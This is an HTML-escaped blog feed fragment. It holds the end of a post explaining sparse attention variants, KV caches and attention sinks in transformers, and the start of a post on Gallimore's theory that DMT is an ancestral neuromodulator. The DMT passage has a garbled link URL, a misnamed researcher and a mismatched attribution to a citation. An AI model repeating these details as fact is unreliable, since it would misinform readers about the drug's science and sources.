Full[&quot;Full attention&amp;lt;br/&amp;gt;maximum visibility&amp;lt;br/&amp;gt;quadratic cost&quot;]
Sparse[&quot;Sparse attention&amp;lt;br/&amp;gt;selected visibility&amp;lt;br/&amp;gt;lower cost&quot;]
Local[&quot;Local windows&quot;]
Bridges[&quot;Global and random bridges&quot;]
Content[&quot;Content-based routing&quot;]
Hardware[&quot;Block-sparse hardware patterns&quot;]
Cache[&quot;Sliding-window KV cache&quot;]&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Full --&amp;gt; Sparse
Sparse --&amp;gt; Local
Sparse --&amp;gt; Bridges
Sparse --&amp;gt; Content
Sparse --&amp;gt; Hardware
Sparse --&amp;gt; Cache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;`}
/&amp;gt;&lt;/p&gt;
&lt;p&gt;Once you see attention as a graph, the variants stop feeling like disconnected tricks.&lt;/p&gt;
&lt;p&gt;Local attention says nearby nodes matter most. Global attention says a few nodes should coordinate the whole document. Random attention says the graph needs shortcuts. LSH attention says similar content should meet. Landmark attention says the model should first find the right region. Block-sparse attention says the graph also has to run well on real hardware.&lt;/p&gt;
&lt;p&gt;The trade-off never disappears. Remove too few edges and you save little. Remove too many and the model cannot see the thing it needs.&lt;/p&gt;
&lt;h2&gt;Why is local attention efficient but myopic?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2004.05150&quot;&gt;Longformer&lt;/a&gt; uses a local windowed pattern plus selected global attention, making attention scale linearly with sequence length in its setup. A sliding window with width &lt;code&gt;w&lt;/code&gt; changes the rough cost from &lt;code&gt;n x n&lt;/code&gt; to &lt;code&gt;n x w&lt;/code&gt;, which is the simplest reason local attention is so attractive.&lt;/p&gt;
&lt;p&gt;The rule is easy to picture. Instead of token 10 attending to tokens 1 through 10, it attends only to nearby tokens:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;token 10 attends to tokens 7, 8, 9, 10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Full causal attention looks like a filled lower triangle:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X . . . . .
X X . . . .
X X X . . .
X X X X . .
X X X X X .
X X X X X X
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Local causal attention becomes a diagonal band:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X . . . . .
X X . . . .
X X X . . .
. X X X . .
. . X X X .
. . . X X X
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the win. Most prose is locally coherent. The word &quot;loan&quot; is usually explained by nearby words like &quot;bank&quot;, &quot;refused&quot;, or &quot;approved&quot;. Source code often has similar local structure: the next token usually depends heavily on the current line, the previous line, and the local block.&lt;/p&gt;
&lt;p&gt;But local attention is myopic.&lt;/p&gt;
&lt;p&gt;Suppose the context starts with this sentence:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Zephyr is the patient&apos;s name.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Much later, the text says:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Zephyr shows new symptoms.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the first sentence is outside the window, the later token cannot directly attend to it. The model may still carry some information forward through intermediate representations:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;A -&amp;gt; B -&amp;gt; C -&amp;gt; D -&amp;gt; E
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That helps, but it is not the same as direct access. Information passed through layers is compressed. It can degrade. If the early fact was never preserved by a useful intermediate token, it is gone from the local view.&lt;/p&gt;
&lt;p&gt;This is the first big lesson: local attention is efficient because it limits visibility. Its failure mode is the same fact stated in reverse.&lt;/p&gt;
&lt;h2&gt;What do global and random tokens add?&lt;/h2&gt;
&lt;p&gt;The bridge idea is explicit: local attention handles nearby context, random attention adds long-range shortcuts, and global tokens can attend broadly. With &lt;code&gt;O(1)&lt;/code&gt; global tokens in BigBird&apos;s analysis, a sparse pattern can keep strong theoretical properties while avoiding dense all-to-all attention.&lt;/p&gt;
&lt;p&gt;Local attention creates neighborhoods. Global tokens create public squares.&lt;/p&gt;
&lt;p&gt;Good global tokens are more than &quot;important-looking words&quot;. They are tokens that help distant parts of the document coordinate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;title
section headers
question tokens
[CLS] token
document separators
function signatures
class names
type definitions
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;[CLS]&lt;/code&gt; token is a special classification token used in some encoder-style Transformer models. It can act as a document-level gathering point.&lt;/p&gt;
&lt;p&gt;The trap is making too many things global. A person&apos;s name, a date, or a place can be a good global token, but not automatically. The criterion is sharper: does this token help many distant regions coordinate? If every proper noun becomes global, the pattern becomes less sparse and more expensive.&lt;/p&gt;
&lt;p&gt;Random attention solves a different problem. A purely local graph has long paths. Information from the beginning of a sequence may need many hops to reach the end. Random edges add blind long-range shortcuts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;A - B - C - D - E - F - G
|         \           |
+----------+----------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is not because random attention knows what is relevant. It does not. It helps because a few long-range connections can reduce average path length in the graph. Across many heads and layers, those shortcuts increase the chance that distant regions can influence each other.&lt;/p&gt;
&lt;p&gt;The trade-off is obvious. Global tokens need good selection. Random tokens need enough coverage. Both create bridges, but neither guarantees semantic relevance.&lt;/p&gt;
&lt;h2&gt;When should sparsity follow content?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2001.04451&quot;&gt;Reformer&lt;/a&gt; replaces standard dot-product attention with locality-sensitive hashing attention, reducing attention complexity from &lt;code&gt;O(L^2)&lt;/code&gt; to &lt;code&gt;O(L log L)&lt;/code&gt; in the paper. That is the content-based promise: stop looking only by position, and route tokens toward other tokens that look similar.&lt;/p&gt;
&lt;p&gt;So far, most patterns were positional. Look nearby. Look every few steps. Look at special hubs. Content-based sparse attention asks a different question:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Which previous tokens look relevant to this token?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Zephyr example is exactly where this helps. A content-aware method should connect:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Zephyr is the patient&apos;s name.
...
Zephyr shows new symptoms.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both lines share a surface signal. The entity name is explicit. A mechanism like LSH attention can hash similar vectors into the same bucket, then compute attention inside that bucket.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Bucket A: token 1, token 7, token 20
Bucket B: token 3, token 9, token 44
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If two relevant tokens land in the same bucket, they can attend. If they land in different buckets, they cannot. That is why multiple hashing rounds matter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;round 1:
Zephyr early mention -&amp;gt; Bucket A
Zephyr later mention -&amp;gt; Bucket B

round 2:
Zephyr early mention -&amp;gt; Bucket C
Zephyr later mention -&amp;gt; Bucket C
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LSH attention works best when the similarity is explicit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;same name
same function name
same variable
same phrase
same entity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Code is a good example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function calculateInvoiceTotal(...)
...
calculateInvoiceTotal(items)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The harder case is indirect meaning:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;The client refused automatic renewal.
...
This affects the revenue forecast.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The link requires a chain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;automatic renewal -&amp;gt; retention -&amp;gt; revenue forecast
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those tokens may not look similar enough to fall into the same bucket. Content-based attention is smarter than random attention, but it still has to find relevance cheaply. If it compares everything with everything to discover relevance, it has rebuilt full attention.&lt;/p&gt;
&lt;h2&gt;Why do landmarks and routing feel like internal retrieval?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2305.16300&quot;&gt;Landmark Attention&lt;/a&gt; trains attention to use landmark tokens for selecting relevant blocks, and the paper reports fine-tuning LLaMA 7B beyond 32k context. &lt;a href=&quot;https://arxiv.org/abs/2003.05997&quot;&gt;Routing Transformer&lt;/a&gt; learns dynamic sparse attention with online k-means and reduces complexity to &lt;code&gt;O(n^1.5 d)&lt;/code&gt; in its formulation.&lt;/p&gt;
&lt;p&gt;These methods feel closer to retrieval than to fixed masking.&lt;/p&gt;
&lt;p&gt;Landmark attention divides the context into regions:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Block 1: tokens 1-512
Block 2: tokens 513-1024
Block 3: tokens 1025-1536
Block 4: tokens 1537-2048
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each block gets a landmark:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;L1 -&amp;gt; Block 1
L2 -&amp;gt; Block 2
L3 -&amp;gt; Block 3
L4 -&amp;gt; Block 4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The model first asks which landmarks look relevant, then opens the corresponding blocks. This is an important distinction:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;compression = I tell you the essential content
address     = I show you where to look
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Landmarks are closer to addresses.&lt;/p&gt;
&lt;p&gt;Imagine a contract:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Block 1: definitions
Block 2: payment
Block 3: termination
Block 4: governing law
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the question &quot;When can the contract be terminated?&quot;, the useful route is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;question -&amp;gt; L3 -&amp;gt; termination block
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This resembles Retrieval-Augmented Generation, or RAG, but inside the model&apos;s attention path:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;external RAG:
question -&amp;gt; embedding search -&amp;gt; documents -&amp;gt; model

landmark attention:
query token -&amp;gt; landmark -&amp;gt; block -&amp;gt; attention
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Routing attention generalizes the idea. Instead of a fixed pattern, the model chooses relevant blocks or token groups based on content.&lt;/p&gt;
&lt;p&gt;The database analogy is clean:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- Full attention
SELECT * FROM context;

-- Routing attention
SELECT relevant_blocks FROM context_index;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Routing narrows the search, which is why it can be efficient. It can also narrow the search in the wrong place. That is the circular problem: to answer well, the model must look in the right place. To know the right place, it must already understand something about the answer.&lt;/p&gt;
&lt;p&gt;This is where static and dynamic sparsity split:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pattern type&lt;/th&gt;
&lt;th&gt;Examples&lt;/th&gt;
&lt;th&gt;Strength&lt;/th&gt;
&lt;th&gt;Failure mode&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Static sparsity&lt;/td&gt;
&lt;td&gt;Sliding window, strided, dilated, fixed block patterns&lt;/td&gt;
&lt;td&gt;Easier to optimize&lt;/td&gt;
&lt;td&gt;Less adaptive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dynamic sparsity&lt;/td&gt;
&lt;td&gt;LSH, landmark selection, routing&lt;/td&gt;
&lt;td&gt;Better at choosing&lt;/td&gt;
&lt;td&gt;Harder to train and accelerate&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Static sparsity is easier to execute. Dynamic sparsity is better at choosing.&lt;/p&gt;
&lt;h2&gt;Why is sparse attention not automatically fast?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2205.14135&quot;&gt;FlashAttention&lt;/a&gt; showed the missing performance principle clearly: attention speed depends heavily on reads and writes between GPU memory levels, not arithmetic count alone. The paper reports 3x speedup on GPT-2 at sequence length 1K while computing exact attention, which means fewer theoretical operations are not the whole story.&lt;/p&gt;
&lt;p&gt;GPUs are excellent at large, regular matrix operations. They are less happy with tiny scattered reads, irregular indexing, and uneven thread workloads.&lt;/p&gt;
&lt;p&gt;Token-sparse attention can reduce the number of mathematical operations and still run poorly because it creates:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;non-contiguous memory access
irregular indexing
poor Tensor Core usage
thread divergence
extra routing overhead
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tensor Cores are specialized GPU units for fast matrix multiplication. They like dense, regular tiles. They do not like chasing individual cells across memory.&lt;/p&gt;
&lt;p&gt;That is why block-sparse attention matters. Instead of choosing individual token-token edges, it chooses block-block edges:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;token-sparse:
token 137 attends to token 4, token 9, token 22

block-sparse:
block 8 attends to block 1, block 7, block 8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside a selected block pair, the computation can still be dense. This may compute extra tokens that are not all useful. A block might contain 64 tokens while only 20 matter. But it can still run faster because the GPU gets regular work.&lt;/p&gt;
&lt;p&gt;The rule of thumb is blunt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fewer operations + irregular memory = maybe slow
more operations + regular blocks = often faster
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is also where FlashAttention is often confused with sparse attention. They are different.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sparse attention:
changes which connections exist

FlashAttention:
keeps the same connections and changes how they are computed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sparse attention decides which roads exist. FlashAttention helps drive efficiently on the roads that remain. The two ideas can combine, but they answer different questions.&lt;/p&gt;
&lt;p&gt;This same hardware-aware lens shows up in practical inference work. The post on &lt;a href=&quot;/blog/run-bitnet-on-mac-m1&quot;&gt;running BitNet locally on an M1&lt;/a&gt; has a concrete example: the KV cache can dominate memory even when model weights are small.&lt;/p&gt;
&lt;h2&gt;How does sparse attention change the KV cache?&lt;/h2&gt;
&lt;p&gt;Streaming work on attention sinks starts from an inference problem: during decoding, cached Key and Value states consume extensive memory. A sliding window cache fixes growth by keeping recent KVs only, but plain window attention fails when text length exceeds the cache size.&lt;/p&gt;
&lt;p&gt;KV cache means Key-Value cache. During generation, the model saves previous &lt;code&gt;K&lt;/code&gt; and &lt;code&gt;V&lt;/code&gt; vectors so it does not recompute the whole past on every new token.&lt;/p&gt;
&lt;p&gt;Decoding is the outer process:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;prompt -&amp;gt; next token -&amp;gt; next token -&amp;gt; next token
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Attention is the inner operation used during both prefill and decoding:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;prefill:
process the initial prompt

decoding:
generate one new token at a time
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With full attention, each new token can attend to all previous cached keys and values:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new Q -&amp;gt; compare with all cached K
weights -&amp;gt; combine all cached V
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The cache avoids recomputing the past, but it does not remove the cost of storing and reading the past.&lt;/p&gt;
&lt;p&gt;Sliding-window attention changes the cache rule. If the model only attends to the last &lt;code&gt;w&lt;/code&gt; tokens, the cache only needs roughly the latest &lt;code&gt;w&lt;/code&gt; tokens:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;w = 4096

keep:
latest 4096 tokens

drop:
older tokens outside the window
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When token 4097 arrives, token 1 can be dropped. When token 4098 arrives, token 2 can be dropped. Memory becomes stable after the window fills.&lt;/p&gt;
&lt;p&gt;That stability has a price. The distant past is no longer directly accessible. If important information appeared early, the model needs another mechanism to preserve it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;global tokens
compressed memory
retrieval
landmarks
routing
occasional full-attention layers
attention sinks
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sliding-window KV cache gives stable memory by making distant past invisible. That is not a bug in the idea. It is the bargain.&lt;/p&gt;
&lt;h2&gt;Why do attention sinks complicate the story?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2309.17453&quot;&gt;StreamingLLM&lt;/a&gt; observed that keeping the KV states of initial tokens can largely recover the performance lost by simple window attention. The paper calls these initial anchors attention sinks, and reports stable streaming up to 4 million tokens with its sink-plus-window strategy.&lt;/p&gt;
&lt;p&gt;This is the strangest part of the story because it breaks the usual semantic intuition.&lt;/p&gt;
&lt;p&gt;Attention uses softmax. The weights are positive and sum to 1:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;scores  = [2.0, 1.0, -3.0]
softmax = [0.72, 0.26, 0.02]
sum     = 1.00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;An attention head cannot say &quot;look at nobody&quot;. It has to put its attention mass somewhere.&lt;/p&gt;
&lt;p&gt;Sometimes a token receives attention not because its content is useful, but because it is a stable place to put attention. In causal attention, early tokens are visible to almost every later token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;token 2 sees token 1
token 1000 sees token 1
token 50000 sees token 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That makes early tokens natural anchors in the attention geometry.&lt;/p&gt;
&lt;p&gt;There is a difference between an old semantic token and a sink token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;old normal token:
may contain useful past information

sink token:
may stabilize attention even when its text is not useful
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This matters for sparse attention because it means &quot;what should the model look at?&quot; has more than one answer. Sometimes the answer is semantic. Sometimes it is computational. Sometimes it is about routing, memory, or geometry.&lt;/p&gt;
&lt;p&gt;This is also a good reminder for reasoning about LLM behavior generally. Missing context and indirect evidence can change the output in ways that are easy to misread. I hit a related theme in &lt;a href=&quot;/blog/talkie-1930-llm-reasoning&quot;&gt;Talkie-1930 and LLM reasoning&lt;/a&gt;: the interesting behavior is often in what the model can infer from partial structure.&lt;/p&gt;
&lt;h2&gt;How should you think about sparse attention?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/1904.10509&quot;&gt;Sparse Transformer&lt;/a&gt; reduced attention complexity to &lt;code&gt;O(n sqrt(n))&lt;/code&gt; with sparse factorizations, while later systems explored local windows, global hubs, LSH buckets, routing, landmarks, block sparsity, and sink tokens. The pattern is clear: sparse attention is not one method. It is a design space.&lt;/p&gt;
&lt;p&gt;Here is the map I keep in my head:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;What it keeps&lt;/th&gt;
&lt;th&gt;What it risks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Full attention&lt;/td&gt;
&lt;td&gt;Maximum visibility&lt;/td&gt;
&lt;td&gt;Quadratic cost&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local attention&lt;/td&gt;
&lt;td&gt;Nearby coherence&lt;/td&gt;
&lt;td&gt;Long-distance blindness&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Global attention&lt;/td&gt;
&lt;td&gt;Shared coordination points&lt;/td&gt;
&lt;td&gt;Bad hub selection or rising cost&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Random attention&lt;/td&gt;
&lt;td&gt;Long-range graph shortcuts&lt;/td&gt;
&lt;td&gt;Blind irrelevant links&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dilated attention&lt;/td&gt;
&lt;td&gt;Farther reach with gaps&lt;/td&gt;
&lt;td&gt;Missing exact useful tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Strided attention&lt;/td&gt;
&lt;td&gt;Regular long-range channels&lt;/td&gt;
&lt;td&gt;Off-pattern facts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LSH attention&lt;/td&gt;
&lt;td&gt;Explicit similarity&lt;/td&gt;
&lt;td&gt;Indirect meaning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Landmark attention&lt;/td&gt;
&lt;td&gt;Region addresses&lt;/td&gt;
&lt;td&gt;Bad block selection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Routing attention&lt;/td&gt;
&lt;td&gt;Adaptive internal retrieval&lt;/td&gt;
&lt;td&gt;Wrong route&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block-sparse attention&lt;/td&gt;
&lt;td&gt;GPU-friendly regularity&lt;/td&gt;
&lt;td&gt;Extra computation inside blocks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sliding-window KV cache&lt;/td&gt;
&lt;td&gt;Stable memory&lt;/td&gt;
&lt;td&gt;Lost distant past&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attention sinks&lt;/td&gt;
&lt;td&gt;Stable attention anchors&lt;/td&gt;
&lt;td&gt;Non-semantic attention&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Dilated and strided attention are worth calling out because they look similar but fail differently. Dilated attention samples positions at intervals from the current token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;local:
. . . . X X X X X

dilated:
X . X . X . X . X
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Strided attention creates regular channels through the whole sequence:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stride 4:
0, 4, 8, 12, 16
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both increase reach. Both can skip the exact token that mattered.&lt;/p&gt;
&lt;p&gt;The deeper point is the same across all of these patterns. Full attention asks the model to consider everything and pay for it. Sparse attention asks the model, or the architecture designer, to decide what can be ignored.&lt;/p&gt;
&lt;p&gt;That choice is never only about cost. It is about information flow.&lt;/p&gt;
&lt;p&gt;The practical question is not &quot;is sparse attention better?&quot; The useful question is more specific:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Which information graph fits this model, this hardware, this context length, and this failure mode?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For security readers, this should feel familiar. A mechanism can be clever and still not provide the guarantee people assume it provides. That distinction is why I wrote &lt;a href=&quot;/blog/how-synthid-was-broken&quot;&gt;How SynthID Was Broken&lt;/a&gt;. Sparse attention has the same lesson in a different domain: understand the mechanism before you trust the headline.&lt;/p&gt;
&lt;p&gt;Sparse attention is controlled ignorance. It is the study of what an LLM is allowed not to look at.&lt;/p&gt;
&lt;h2&gt;Frequently asked questions&lt;/h2&gt;
&lt;h3&gt;Is sparse attention the same as FlashAttention?&lt;/h3&gt;
&lt;p&gt;No. Sparse attention changes which of roughly &lt;code&gt;n x n&lt;/code&gt; token pairs are computed. The IO-aware algorithm computes exact attention while reducing memory traffic through tiling. Sparse attention is a connectivity technique. FlashAttention is an execution technique.&lt;/p&gt;
&lt;h3&gt;Does sliding window attention mean the model forgets everything outside the window?&lt;/h3&gt;
&lt;p&gt;It loses direct access to old key and value vectors outside window size &lt;code&gt;w&lt;/code&gt;. With &lt;code&gt;w = 4096&lt;/code&gt;, token 1 can drop when token 4097 arrives. Information can still survive through intermediate representations, global tokens, retrieval, landmarks, or attention sinks. The sink-plus-window result above shows why keeping initial sink tokens plus the recent window can stabilize streaming behavior.&lt;/p&gt;
&lt;h3&gt;Why can sparse attention be slower even when it does fewer operations?&lt;/h3&gt;
&lt;p&gt;Irregular sparsity can create scattered memory access, indexing overhead, thread divergence, and poor Tensor Core usage. A 64-token block may compute extra values and still run faster as a dense tile. The arithmetic count goes down only if the machine can use the pattern efficiently.&lt;/p&gt;
&lt;h3&gt;Which sparse attention pattern is best for long context?&lt;/h3&gt;
&lt;p&gt;There is no universal winner. LSH attention, local-random-global designs, landmark routing, and block-sparse execution optimize different constraints. The best choice depends on the task, hardware, training setup, and acceptable failure mode.&lt;/p&gt;
</content:encoded></item><item><title>The Brain May Have Spoken a Dead Language. DMT Is Trying to Translate It.</title><link>https://didof.dev/blog/building-alien-worlds-dmt-neuromodulator/</link><guid isPermaLink="true">https://didof.dev/blog/building-alien-worlds-dmt-neuromodulator/</guid><description>Andrew Gallimore&apos;s 2013 paper proposes DMT is not another psychedelic but an endogenous neuromodulator that once built parallel brain connectivities. What happens when the brain switches languages.</description><pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When a dose of DMT hits the bloodstream, it crosses into the brain in seconds. Within 30 seconds, the consensus world dissolves into what users describe as hyper-real alien landscapes populated by apparently intelligent entities—elves, insectoids, automata, complex machinery, futuristic cities. [Milt Strassman&apos;s clinical trials](https://jps ставок.studies.springer.com/article/10.1007/s13181-008-0038-7) gave 57 volunteers intravenous DMT and documented the phenomenology. What struck Strassman most was not the strange imagery but its consistency: despite wildly different personalities, expectations, and cultural backgrounds, the experiences converged on remarkably similar themes.&lt;/p&gt;
&lt;p&gt;This is not what you&apos;d expect from a classical psychedelic. Other psychedelics like psilocybin and LSD activate the same receptor—5HT2A—and produce variable, psychologically contingent experiences that depend heavily on set and setting. DMT doesn&apos;t. At high enough doses, the experience overwhelms individual psychology. Users don&apos;t report their own anxieties projected outward; they report encountering what feels like an independently existing world.&lt;/p&gt;
&lt;p&gt;I&apos;ve been working with the idea that human consciousness is a world-building system—a thalamocortical engine that constructs models of reality from sensory data and intrinsic patterns. This angle has shaped how I think about a 2013 paper by Andrew R. Gallimore, &quot;Building Alien Worlds: A Theoretical Model of N,N-Dimethyltryptamine Action,&quot; published in the &lt;em&gt;Journal of Psychedelic Studies&lt;/em&gt;. Gallimore doesn&apos;t propose that DMT is &quot;just another psychedelic.&quot; He proposes that DMT may be an &lt;strong&gt;endogenous ancestral neuromodulator&lt;/strong&gt;—a molecule the brain once used during evolution to build a completely parallel set of neural connectivities, creating a second world-building mode that still exists in the adult brain but remains largely inaccessible.&lt;/p&gt;
&lt;p&gt;Put more provocatively: the brain may have once spoken a dead language. DMT is the attempt to speak it again.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Andrew Gallimore&apos;s 2013 model proposes DMT is an endogenous neuromodulator that the ancestral brain used to develop parallel thalamocortical connectivities for building &quot;alien worlds,&quot; switching between serotonin (consensus mode) and DMT (alien mode).&lt;/li&gt;
&lt;li&gt;DMT is chemically the simplest possible psychedelic tryptamine—just two methyl groups on tryptamine—and yet it produces the most profound alterations of consciousness of any naturally occurring drug. No other classical psychedelic reliably generates the phenomenological features found in DMT reports.&lt;/li&gt;
&lt;li&gt;Strassman&apos;s 57-patient IV study documented recurring themes: machine elves, insectoid entities, futuristic cities, complex machinery, and the sensation of being experimented on. These themes appear consistently across independent trip reports and are notably absent in experiences with other psychedelics.&lt;/li&gt;
&lt;li&gt;Gallimore argues that modern humans lost the ability to secrete DMT in psychedelic concentrations during evolution. The vestigial amounts still present in the brain may represent a functional remnant, and exhaling external DMT reconstitutes an ancestral state.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Why DMT Breaks the Classical Psychedelic Category&lt;/h2&gt;
&lt;p&gt;The standard model of psychedelia starts with the 5HT2A receptor. When LSD, psilocin, or mescaline bind to 5HT2A receptors in the prefrontal cortex, they trigger a cascade of effects: pattern disruption, altered perception, ego dissolution. The model works well enough for these molecules. DMT does not fit.&lt;/p&gt;
&lt;p&gt;DMT&apos;s affinity for 5HT2A lies between psilocin and LSD. From a pharmacological perspective, it&apos;s unremarkable. But the phenomenological effects are not. DMT&apos;s molecule is structurally the simplest possible psychedelic tryptamine—tryptamine with two methyl groups on the primary amine. That masking actually prevents the nitrogen from interacting with the 5HT2A receptor, as &lt;a href=&quot;https://pubmed.ncbi.nlm.nih.gov/12738585/&quot;&gt;Ebersole, Visiers, Weinstein, and Sealfon demonstrated in 2003&lt;/a&gt;. So DMT should be pharmacologically blunt. Instead, it is the most incomprehensibly powerful natural psychedelic known.&lt;/p&gt;
&lt;p&gt;{/* [UNIQUE INSIGHT] The discrepancy between DMT&apos;s chemical simplicity and its phenomenological power is the central puzzle. If you build a model predicting effects from receptor affinity alone, DMT&apos;s profile should produce moderate, typical psychedelic effects. It does not. The simplest tryptamine produces the most radical alterations of consciousness. */}&lt;/p&gt;
&lt;p&gt;Three characteristics make DMT pharmacologically anomalous among classical psychedelics:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Speed of onset and clearance.&lt;/strong&gt; When DMT enters the bloodstream, it rapidly sequesters into tissues including the brain, reaching psychedelic concentrations within seconds. The Shulgins showed that DMT is a transport substrate for both the serotonin transporter and the monoamine vesicular transporter (&lt;a href=&quot;https://pubmed.ncbi.nlm.nih.gov/19445848/&quot;&gt;Cozzi et al., 2009&lt;/a&gt;), meaning it may be actively transported into presynaptic terminals and packaged into synaptic vesicles for release. The trip itself is mercifully brief—minutes, not hours—far more rapidly cleared than other tryptamines.&lt;/p&gt;
